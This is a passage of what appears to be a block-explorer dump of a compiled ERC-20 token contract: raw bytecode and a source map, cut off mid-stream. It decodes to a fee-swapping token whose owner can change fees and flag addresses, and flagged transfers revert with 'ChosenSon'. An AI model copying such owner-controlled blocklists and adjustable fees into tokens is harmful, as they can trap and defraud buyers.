57611bb9612e90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c859190612ed4565b81600181518110611c9957611c98612e90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d37959493929190612ffa565b600060405180830381600087803b158015611d5157600080fd5b505af1158015611d65573d6000803e3d6000fd5b5050505060004790506000611db7600b60020154611da9611d956002600b6001015461146890919063ffffffff16565b600b6004015461233d90919063ffffffff16565b61233d90919063ffffffff16565b90506000611df86002611dea84611ddc600b60010154886122c390919063ffffffff16565b61146890919063ffffffff16565b61146890919063ffffffff16565b90506000611e2683611e18600b60030154876122c390919063ffffffff16565b61146890919063ffffffff16565b90506000611e4f82611e41858861233d90919063ffffffff16565b61233d90919063ffffffff16565b9050600080821115611eef57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051611ea590613085565b600060405180830381858888f193505050503d8060008114611ee3576040519150601f19603f3d011682016040523d82523d6000602084013e611ee8565b606091505b5050809150505b6000891115611fd2576000841115611fd157601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308c600080601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611f8a9695949392919061309a565b60606040518083038185885af1158015611fa8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611fcd9190613110565b5050505b5b505050505050505050506000601a60006101000a81548160ff02191690831515021790555050565b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120459190612d61565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120e591906124ca565b60405180910390a3505050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213d9190612a29565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081156122a6576000601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121e9576007600001549050612252565b601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612248576007600101549050612251565b60076002015490505b5b600061227e60076003015461227084886122c390919063ffffffff16565b61146890919063ffffffff16565b905060008111156122a35780836122959190612d61565b92506122a2873083611ffa565b5b50505b6122bc858583866122b79190612a29565b611ffa565b5050505050565b60008083036122d55760009050612337565b600082846122e39190612d1f565b90508284826122f29190612e30565b14612332576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612329906131d5565b60405180910390fd5b809150505b92915050565b600061237f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612387565b905092915050565b60008383111582906123cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c69190612575565b60405180910390fd5b50600083856123de9190612a29565b9050809150509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061241b826123f0565b9050919050565b61242b81612410565b811461243657600080fd5b50565b60008135905061244881612422565b92915050565b600060208284031215612464576124636123eb565b5b600061247284828501612439565b91505092915050565b60008115159050919050565b6124908161247b565b82525050565b60006020820190506124ab6000830184612487565b92915050565b6000819050919050565b6124c4816124b1565b82525050565b60006020820190506124df60008301846124bb565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561251f578082015181840152602081019050612504565b60008484015250505050565b6000601f19601f8301169050919050565b6000612547826124e5565b61255181856124f0565b9350612561818560208601612501565b61256a8161252b565b840191505092915050565b6000602082019050818103600083015261258f818461253c565b905092915050565b6125a0816124b1565b81146125ab57600080fd5b50565b6000813590506125bd81612597565b92915050565b600080604083850312156125da576125d96123eb565b5b60006125e885828601612439565b92505060206125f9858286016125ae565b9150509250929050565b60008060006060848603121561261c5761261b6123eb565b5b600061262a86828701612439565b935050602061263b86828701612439565b925050604061264c868287016125ae565b9150509250925092565b600060ff82169050919050565b61266c81612656565b82525050565b60006020820190506126876000830184612663565b92915050565b61269681612410565b82525050565b60006020820190506126b1600083018461268d565b92915050565b600080600080608085870312156126d1576126d06123eb565b5b60006126df878288016125ae565b94505060206126f0878288016125ae565b9350506040612701878288016125ae565b9250506060612712878288016125ae565b91505092959194509250565b6127278161247b565b811461273257600080fd5b50565b6000813590506127448161271e565b92915050565b60008060408385031215612761576127606123eb565b5b600061276f85828601612439565b925050602061278085828601612735565b9150509250929050565b600060808201905061279f60008301876124bb565b6127ac60208301866124bb565b6127b960408301856124bb565b6127c660608301846124bb565b95945050505050565b600060a0820190506127e460008301886124bb565b6127f160208301876124bb565b6127fe60408301866124bb565b61280b60608301856124bb565b61281860808301846124bb565b9695505050505050565b60008060006060848603121561283b5761283a6123eb565b5b600061284986828701612735565b935050602061285a868287016125ae565b925050604061286b868287016125ae565b9150509250925092565b6000806040838503121561288c5761288b6123eb565b5b600061289a85828601612439565b92505060206128ab85828601612439565b9150509250929050565b60006128c0826123f0565b9050919050565b6128d0816128b5565b81146128db57600080fd5b50565b6000813590506128ed816128c7565b92915050565b600060208284031215612909576129086123eb565b5b6000612917848285016128de565b91505092915050565b6000819050919050565b600061294561294061293b846123f0565b612920565b6123f0565b9050919050565b60006129578261292a565b9050919050565b60006129698261294c565b9050919050565b6129798161295e565b82525050565b60006020820190506129946000830184612970565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806129e157607f821691505b6020821081036129f4576129f361299a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a34826124b1565b9150612a3f836124b1565b9250828203905081811115612a5757612a566129fa565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612a936020836124f0565b9150612a9e82612a5d565b602082019050919050565b60006020820190508181036000830152612ac281612a86565b9050919050565b7f43686f73656e536f6e0000000000000000000000000000000000000000000000600082015250565b6000612aff6009836124f0565b9150612b0a82612ac9565b602082019050919050565b60006020820190508181036000830152612b2e81612af2565b9050919050565b7f2173746172744164644c50000000000000000000000000000000000000000000600082015250565b6000612b6b600b836124f0565b9150612b7682612b35565b602082019050919050565b60006020820190508181036000830152612b9a81612b5e565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115612bf857808604811115612bd457612bd36129fa565b5b6001851615612be35780820291505b8081029050612bf185612ba1565b9450612bb8565b94509492505050565b600082612c115760019050612ccd565b81612c1f5760009050612ccd565b8160018114612c355760028114612c3f57612c6e565b6001915050612ccd565b60ff841115612c5157612c506129fa565b5b8360020a915084821115612c6857612c676129fa565b5b50612ccd565b5060208310610133831016604e8410600b8410161715612ca35782820a905083811115612c9e57612c9d6129fa565b5b612ccd565b612cb08484846001612bae565b92509050818404811115612cc757612cc66129fa565b5b81810290505b9392505050565b6000612cdf826124b1565b9150612cea83612656565b9250612d177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c01565b905092915050565b6000612d2a826124b1565b9150612d35836124b1565b9250828202612d43816124b1565b91508282048414831517612d5a57612d596129fa565b5b5092915050565b6000612d6c826124b1565b9150612d77836124b1565b9250828201905080821115612d8f57612d8e6129fa565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612dcb601b836124f0565b9150612dd682612d95565b602082019050919050565b60006020820190508181036000830152612dfa81612dbe565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e3b826124b1565b9150612e46836124b1565b925082612e5657612e55612e01565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612ece81612422565b92915050565b600060208284031215612eea57612ee96123eb565b5b6000612ef884828501612ebf565b91505092915050565b6000819050919050565b6000612f26612f21612f1c84612f01565b612920565b6124b1565b9050919050565b612f3681612f0b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612f7181612410565b82525050565b6000612f838383612f68565b60208301905092915050565b6000602082019050919050565b6000612fa782612f3c565b612fb18185612f47565b9350612fbc83612f58565b8060005b83811015612fed578151612fd48882612f77565b9750612fdf83612f8f565b925050600181019050612fc0565b5085935050505092915050565b600060a08201905061300f60008301886124bb565b61301c6020830187612f2d565b818103604083015261302e8186612f9c565b905061303d606083018561268d565b61304a60808301846124bb565b9695505050505050565b600081905092915050565b50565b600061306f600083613054565b915061307a8261305f565b600082019050919050565b600061309082613062565b9150819050919050565b600060c0820190506130af600083018961268d565b6130bc60208301886124bb565b6130c96040830187612f2d565b6130d66060830186612f2d565b6130e3608083018561268d565b6130f060a08301846124bb565b979650505050505050565b60008151905061310a81612597565b92915050565b600080600060608486031215613129576131286123eb565b5b6000613137868287016130fb565b9350506020613148868287016130fb565b9250506040613159868287016130fb565b9150509250925092565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006131bf6021836124f0565b91506131ca82613163565b604082019050919050565b600060208201905081810360008301526131ee816131b2565b905091905056fea2646970667358221220c0f103067807faedc98f528ecad81977e1132aa9e0c66ac4927e124b394c075164736f6c63430008110033

Deployed Bytecode Sourcemap

13354:227:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4878:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5210:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6640:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7280:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6808:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7454:336;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6724:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5051:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5020:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5134:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12332:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5173:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12575:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6893:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4139:148;;;;;;;;;;;;;:::i;:::-;;13107:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4930:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4052:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6552:82;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4745:15;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;:::i;:::-;;;;;;;;4851:18;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;:::i;:::-;;;;;;;;13227:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7002:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5245:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12730:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12981:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7147:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3892:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4981:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4878:45;;;;;;;;;;;;;;;;;;;;;;:::o;5210:28::-;;;;:::o;6640:78::-;6688:13;6711:5;6704:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6640:78;:::o;7280:133::-;7355:4;7362:37;7371:10;7383:7;7392:6;7362:8;:37::i;:::-;7407:4;7400:11;;7280:133;;;;:::o;6808:79::-;6861:7;6878;;6871:14;;6808:79;:::o;7454:336::-;7552:4;7569:36;7579:6;7587:9;7598:6;7569:9;:36::i;:::-;4671:1;4662:11;7620;:19;7632:6;7620:19;;;;;;;;;;;;;;;:31;7640:10;7620:31;;;;;;;;;;;;;;;;:38;7616:145;;7743:6;7709:11;:19;7721:6;7709:19;;;;;;;;;;;;;;;:31;7729:10;7709:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;7675:11;:19;7687:6;7675:19;;;;;;;;;;;;;;;:31;7695:10;7675:31;;;;;;;;;;;;;;;:74;;;;7616:145;7778:4;7771:11;;7454:336;;;;;:::o;6724:78::-;6776:5;6791:9;;;;;;;;;;;6784:16;;6724:78;:::o;5051:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;5020:24::-;;;;;;;;;;;;;:::o;5134:30::-;;;;:::o;12332:234::-;3817:10;3807:20;;:6;;;;;;;;;;:20;;;3799:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;12435:10:::1;12447:47;12489:4;12447:37;12476:7;12447:24;12461:9;12447;:13;;:24;;;;:::i;:::-;:28;;:37;;;;:::i;:::-;:41;;:47;;;;:::i;:::-;12435:59;;12513:45;;;;;;;;12519:9;12513:45;;;;12529:9;12513:45;;;;12539:4;12513:45;;;;12544:7;12513:45;;;;12552:5;12513:45;;::::0;12507:5:::1;:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12423:143;12332:234:::0;;;;:::o;5173:30::-;;;;;;;;;;;;;:::o;12575:146::-;3817:10;3807:20;;:6;;;;;;;;;;:20;;;3799:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;12679:34:::1;;;;;;;;12683:4;12679:34;;;;12688:5;12679:34;;;;12694:12;12679:34;;;;12707:5;12679:34;;::::0;12674:4:::1;:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12575:146:::0;;;;:::o;6893:103::-;6959:7;6976:9;:18;6986:7;6976:18;;;;;;;;;;;;;;;;6969:25;;6893:103;;;:::o;4139:148::-;3817:10;3807:20;;:6;;;;;;;;;;:20;;;3799:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;4246:1:::1;4209:40;;4230:6;::::0;::::1;;;;;;;;4209:40;;;;;;;;;;;;4277:1;4260:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;4139:148::o:0;13107:112::-;3817:10;3807:20;;:6;;;;;;;;;;:20;;;3799:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;13205:6:::1;13186:10;:16;13197:4;13186:16;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;13107:112:::0;;:::o;4930:42::-;;;;;;;;;;;;;;;;;;;;;;:::o;4052:79::-;4090:7;4117:6;;;;;;;;;;;4110:13;;4052:79;:::o;6552:82::-;6602:13;6625:7;6618:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6552:82;:::o;4745:15::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;4851:18::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;13227:118::-;3817:10;3807:20;;:6;;;;;;;;;;:20;;;3799:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;13331:6:::1;13309:13;:19;13323:4;13309:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;13227:118:::0;;:::o;7002:139::-;7080:4;7087:40;7097:10;7109:9;7120:6;7087:9;:40::i;:::-;7135:4;7128:11;;7002:139;;;;:::o;5245:31::-;;;;:::o;12730:243::-;3817:10;3807:20;;:6;;;;;;;;;;:20;;;3799:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;12869:8:::1;12855:11;;:22;;;;;;;;;;;;;;;;;;12904:14;12888:13;:30;;;;12948:17;12929:16;:36;;;;12730:243:::0;;;:::o;12981:118::-;3817:10;3807:20;;:6;;;;;;;;;;:20;;;3799:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;13085:6:::1;13063:13;:19;13077:4;13063:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;12981:118:::0;;:::o;7147:127::-;7228:7;7245:11;:18;7257:5;7245:18;;;;;;;;;;;;;;;:27;7264:7;7245:27;;;;;;;;;;;;;;;;7238:34;;7147:127;;;;:::o;3892:152::-;3817:10;3807:20;;:6;;;;;;;;;;:20;;;3799:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;3985:3:::1;3976:6;::::0;:12:::1;;;;;;;;;;;;;;;;;;4032:3;4004:32;;4025:6;::::0;::::1;;;;;;;;4004:32;;;;;;;;;;;;3892:152:::0;:::o;4981:32::-;;;;;;;;;;;;;:::o;1725:132::-;1783:7;1810:39;1814:1;1817;1810:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1803:46;;1725:132;;;;:::o;7798:177::-;7913:6;7883:11;:18;7895:5;7883:18;;;;;;;;;;;;;;;:27;7902:7;7883:27;;;;;;;;;;;;;;;:36;;;;7951:7;7935:32;;7944:5;7935:32;;;7960:6;7935:32;;;;;;:::i;:::-;;;;;;;;7798:177;;;:::o;7983:1208::-;8106:10;:16;8117:4;8106:16;;;;;;;;;;;;;;;;;;;;;;;;;8105:17;:39;;;;8127:13;:17;8141:2;8127:17;;;;;;;;;;;;;;;;;;;;;;;;;8105:39;8097:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;8169:12;8196:13;:19;8210:4;8196:19;;;;;;;;;;;;;;;;;;;;;;;;;:40;;;;8219:13;:17;8233:2;8219:17;;;;;;;;;;;;;;;;;;;;;;;;;8196:40;8192:718;;;8258:13;:19;8272:4;8258:19;;;;;;;;;;;;;;;;;;;;;;;;;8257:20;:42;;;;;8282:13;:17;8296:2;8282:17;;;;;;;;;;;;;;;;;;;;;;;;;8281:18;8257:42;8253:646;;;8324:13;:17;8338:2;8324:17;;;;;;;;;;;;;;;;;;;;;;;;;8320:531;;;8378:15;;8374:1;:19;8366:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;8437:6;;;;;;;;;;;8432:400;;8472:28;8503:24;8521:4;8503:9;:24::i;:::-;8472:55;;8558:11;;;;;;;;;;;:39;;;;;8596:1;8573:20;:24;8558:39;8554:255;;;8656:16;;8633:20;:39;8630:82;;;8696:16;;8673:39;;8630:82;8743:38;8760:20;8743:16;:38::i;:::-;8554:255;8445:387;8432:400;8320:531;8879:4;8869:14;;8253:646;8192:718;8923:13;:19;8937:4;8923:19;;;;;;;;;;;;;;;;;;;;;;;;;:40;;;;;8946:13;:17;8960:2;8946:17;;;;;;;;;;;;;;;;;;;;;;;;;8923:40;8920:212;;;8996:9;;;;;;;;;;;8992:2;:13;;;;:::i;:::-;8987:4;:18;;;;:::i;:::-;8979:6;:26;:73;;9051:1;9035:15;:17;;;8979:73;;;9022:12;9006:15;:28;;;8979:73;;9067:31;9081:4;9087:2;9091:6;9067:13;:31::i;:::-;9113:7;;;8920:212;9142:41;9157:4;9163:2;9167:6;9175:7;9142:14;:41::i;:::-;8086:1105;7983:1208;;;;:::o;942:181::-;1000:7;1020:9;1036:1;1032;:5;;;;:::i;:::-;1020:17;;1061:1;1056;:6;;1048:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1114:1;1107:8;;;942:181;;;;:::o;1863:189::-;1949:7;1981:1;1977;:5;1984:12;1969:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2008:9;2024:1;2020;:5;;;;:::i;:::-;2008:17;;2043:1;2036:8;;;1863:189;;;;;:::o;10552:1551::-;5352:4;5343:6;;:13;;;;;;;;;;;;;;;;;;10630:17:::1;10650:44;10682:5;:11;;;10650:27;10666:5;:10;;;10650:11;:15;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;10630:64;;10705:20;10728:56;10782:1;10728:49;10765:5;:11;;;10728:32;10744:5;:15;;;10728:11;:15;;:32;;;;:::i;:::-;:36;;:49;;;;:::i;:::-;:53;;:56;;;;:::i;:::-;10705:79;;10795:17;10815:50;10852:12;10815:32;10831:15;10815:11;:15;;:32;;;;:::i;:::-;:36;;:50;;;;:::i;:::-;10795:70;;10876:21;10914:1;10900:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10876:40;;10945:4;10927;10932:1;10927:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10971:6;;;;;;;;;;;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10961:4;10966:1;10961:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10995:6;;;;;;;;;;;:57;;;11067:12;11094:1;11110:4;11137;11157:15;10995:188;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11196:14;11212:21;11196:37;;11244:16;11263:55;11307:5;:10;;;11263:39;11279:22;11299:1;11279:5;:15;;;:19;;:22;;;;:::i;:::-;11263:5;:11;;;:15;;:39;;;;:::i;:::-;:43;;:55;;;;:::i;:::-;11244:74;;11329:23;11355:54;11407:1;11355:47;11390:11;11355:30;11369:5;:15;;;11355:9;:13;;:30;;;;:::i;:::-;:34;;:47;;;;:::i;:::-;:51;;:54;;;;:::i;:::-;11329:80;;11420:20;11443:44;11475:11;11443:27;11457:5;:12;;;11443:9;:13;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;11420:67;;11498:15;11516:54;11554:15;11516:33;11530:18;11516:9;:13;;:33;;;;:::i;:::-;:37;;:54;;;;:::i;:::-;11498:72;;11581:15;11621:1:::0;11610:10:::1;:12;11607:124;;;11662:16;;;;;;;;;;;11654:30;;11692:10;11709:5;11654:65;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11638:81;;;;;11607:124;11765:1;11747:15;:19;11743:353;;;11808:1;11787:18;:22;11783:302;;;11830:6;;;;;;;;;;;:22;;;11860:18;11906:4;11930:15;11964:1;11984::::0;12004:16:::1;;;;;;;;;;;12039:15;11830:239;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11783:302;11743:353;10619:1484;;;;;;;;;;5388:5:::0;5379:6;;:14;;;;;;;;;;;;;;;;;;10552:1551;:::o;12111:213::-;12264:7;12248:9;:13;12258:2;12248:13;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;12232:9;:13;12242:2;12232:13;;;;;;;;;;;;;;;:39;;;;12304:2;12287:29;;12296:6;12287:29;;;12308:7;12287:29;;;;;;:::i;:::-;;;;;;;;12111:213;;;:::o;9610:933::-;9802:7;9782:9;:17;9792:6;9782:17;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;9762:9;:17;9772:6;9762:17;;;;;;;;;;;;;;;:47;;;;9830:17;9862:7;9858:612;;;9886:15;9920:13;:21;9934:6;9920:21;;;;;;;;;;;;;;;;;;;;;;;;;9916:231;;;9972:4;:8;;;9962:18;;9916:231;;;10005:13;:24;10019:9;10005:24;;;;;;;;;;;;;;;;;;;;;;;;;10002:145;;;10060:4;:9;;;10050:19;;10002:145;;;10118:4;:13;;;10108:23;;10002:145;9916:231;10161:18;10182:35;10207:4;:9;;;10182:20;10194:7;10182;:11;;:20;;;;:::i;:::-;:24;;:35;;;;:::i;:::-;10161:56;;10249:1;10236:10;:14;10232:227;;;10284:10;10271:23;;;;;:::i;:::-;;;10313:130;10349:6;10386:4;10414:10;10313:13;:130::i;:::-;10232:227;9871:599;;9858:612;10482:53;10496:6;10504:9;10525;10515:7;:19;;;;:::i;:::-;10482:13;:53::i;:::-;9751:792;9610:933;;;;:::o;1469:250::-;1527:7;1556:1;1551;:6;1547:47;;1581:1;1574:8;;;;1547:47;1606:9;1622:1;1618;:5;;;;:::i;:::-;1606:17;;1651:1;1646;1642;:5;;;;:::i;:::-;:10;1634:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1710:1;1703:8;;;1469:250;;;;;:::o;1129:136::-;1187:7;1214:43;1218:1;1221;1214:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1207:50;;1129:136;;;;:::o;1271:192::-;1357:7;1390:1;1385;:6;;1393:12;1377:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1417:9;1433:1;1429;:5;;;;:::i;:::-;1417:17;;1454:1;1447:8;;;1271:192;;;;;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:90::-;1210:7;1253:5;1246:13;1239:21;1228:32;;1176:90;;;:::o;1272:109::-;1353:21;1368:5;1353:21;:::i;:::-;1348:3;1341:34;1272:109;;:::o;1387:210::-;1474:4;1512:2;1501:9;1497:18;1489:26;;1525:65;1587:1;1576:9;1572:17;1563:6;1525:65;:::i;:::-;1387:210;;;;:::o;1603:77::-;1640:7;1669:5;1658:16;;1603:77;;;:::o;1686:118::-;1773:24;1791:5;1773:24;:::i;:::-;1768:3;1761:37;1686:118;;:::o;1810:222::-;1903:4;1941:2;1930:9;1926:18;1918:26;;1954:71;2022:1;2011:9;2007:17;1998:6;1954:71;:::i;:::-;1810:222;;;;:::o;2038:99::-;2090:6;2124:5;2118:12;2108:22;;2038:99;;;:::o;2143:169::-;2227:11;2261:6;2256:3;2249:19;2301:4;2296:3;2292:14;2277:29;;2143:169;;;;:::o;2318:246::-;2399:1;2409:113;2423:6;2420:1;2417:13;2409:113;;;2508:1;2503:3;2499:11;2493:18;2489:1;2484:3;2480:11;2473:39;2445:2;2442:1;2438:10;2433:15;;2409:113;;;2556:1;2547:6;2542:3;2538:16;2531:27;2380:184;2318:246;;;:::o;2570:102::-;2611:6;2662:2;2658:7;2653:2;2646:5;2642:14;2638:28;2628:38;;2570:102;;;:::o;2678:377::-;2766:3;2794:39;2827:5;2794:39;:::i;:::-;2849:71;2913:6;2908:3;2849:71;:::i;:::-;2842:78;;2929:65;2987:6;2982:3;2975:4;2968:5;2964:16;2929:65;:::i;:::-;3019:29;3041:6;3019:29;:::i;:::-;3014:3;3010:39;3003:46;;2770:285;2678:377;;;;:::o;3061:313::-;3174:4;3212:2;3201:9;3197:18;3189:26;;3261:9;3255:4;3251:20;3247:1;3236:9;3232:17;3225:47;3289:78;3362:4;3353:6;3289:78;:::i;:::-;3281:86;;3061:313;;;;:::o;3380:122::-;3453:24;3471:5;3453:24;:::i;:::-;3446:5;3443:35;3433:63;;3492:1;3489;3482:12;3433:63;3380:122;:::o;3508:139::-;3554:5;3592:6;3579:20;3570:29;;3608:33;3635:5;3608:33;:::i;:::-;3508:139;;;;:::o;3653:474::-;3721:6;3729;3778:2;3766:9;3757:7;3753:23;3749:32;3746:119;;;3784:79;;:::i;:::-;3746:119;3904:1;3929:53;3974:7;3965